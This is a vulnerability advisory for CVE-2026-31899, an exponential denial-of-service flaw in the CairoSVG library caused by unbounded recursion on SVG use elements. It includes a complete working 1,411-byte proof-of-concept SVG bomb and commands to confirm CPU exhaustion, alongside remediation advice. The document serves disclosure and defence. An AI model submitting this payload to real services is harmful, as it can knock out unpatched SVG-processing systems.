Keywords: CVE-2026-31899, CairoSVG, exponential DoS, SVG bomb, recursive use element, denial of service, XML amplification, Python SVG vulnerability, CWE-400, uncontrolled resource consumption, billion laughs SVG
- Overview
- Vulnerability Details
- Technical Analysis
- Proof of Concept
- Impact
- Remediation
- CVSS Metrics
- References
- Contact
CairoSVG Exponential Denial of Service (CVE-2026-31899) — A 1,411-byte SVG payload pins CPU at 100% indefinitely via recursive element amplification.
CairoSVG (~300K downloads/week) is a widely used Python SVG-to-PNG/PDF converter. The use() function in cairosvg/defs.py recursively processes elements without any depth or count limits. With 5 levels of nesting and 10 references each, a small SVG triggers 10^5 = 100,000 render calls — an SVG "billion laughs" variant.
Discovered by: Kai Aizen — SnailSploit Published: March 13, 2026 CVSS Score: 7.5 (High) CWE: CWE-400 — Uncontrolled Resource Consumption Package: CairoSVG (PyPI) Attack Type: Exponential Denial of Service Required Privileges: None (Unauthenticated)
The use() function in cairosvg/defs.py (line ~335) recursively resolves elements that reference other elements. There is no recursion depth limit and no total element budget. An attacker can craft a small SVG where each layer references the previous layer N times, producing O(N^depth) rendering calls from O(depth) input.
- Amplification factor: O(10^N) rendering calls from O(N) input lines
- Memory profile: Flat ~43MB — no OOM kill, process never terminates naturally
- CPU profile: 100% single-core pinned indefinitely
- Payload size: 1,411 bytes
- Vulnerable: All versions < 2.9.0
- Patched: Version 2.9.0 and above
The vulnerability exists because:
- The use() function in defs.py processes each element by looking up its xlink:href target
- If the target is itself a group containing elements, those are recursively expanded
- No depth counter or element budget is enforced
- Each level multiplies the work by the branching factor (e.g., 10x per level)
With 5 levels and a branching factor of 10:
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls
Total: 111,111 render calls from a 1,411-byte input.
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<g id="a"><rect width="1" height="1"/></g>
<g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
<g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
<g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
<g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
</defs>
<use xlink:href="#e"/>
</svg>Method 1 — Command Line:
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)Method 2 — Python:
import cairosvg
import signal
signal.alarm(5) # Kill after 5 seconds
try:
cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")Any service that accepts SVG input and uses CairoSVG for processing is vulnerable:
| Attack Surface | Example |
|---|---|
| Thumbnail generation | Upload SVG → server converts to PNG |
| PDF generation | SVG embedded in document → CairoSVG renders |
| Avatar/image processing | User-uploaded SVG profile images |
| Report rendering | SVG charts in automated reports |
| CI/CD pipelines | SVG assets processed during build |
A single request with a 1.4KB payload will pin the processing thread indefinitely while consuming minimal memory (no OOM kill to save you).
Upgrade CairoSVG to version 2.9.0 or above:
pip install --upgrade CairoSVG>=2.9.0- Set processing timeouts on any SVG conversion endpoint
- Implement input size limits on SVG uploads
- Consider sandboxing SVG processing in isolated workers with CPU time limits
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value |
|---|---|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | None (PR:N) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | None (I:N) |
| Availability | High (A:H) |
| Date | Event |
|---|---|
| 2026-03-09 | CVE reserved |
| 2026-03-13 | Advisory published (GHSA-f38f-5xpm-9r7c) |
| 2026-03-13 | CairoSVG 2.9.0 released with fix |
- GHSA-f38f-5xpm-9r7c
- NVD — CVE-2026-31899
- CairoSVG on PyPI
- CWE-400: Uncontrolled Resource Consumption
- Fix Commit
Kai Aizen (SnailSploit)
- Web: snailsploit.com
- GitHub: @SnailSploit
- LinkedIn: /in/kaiaizen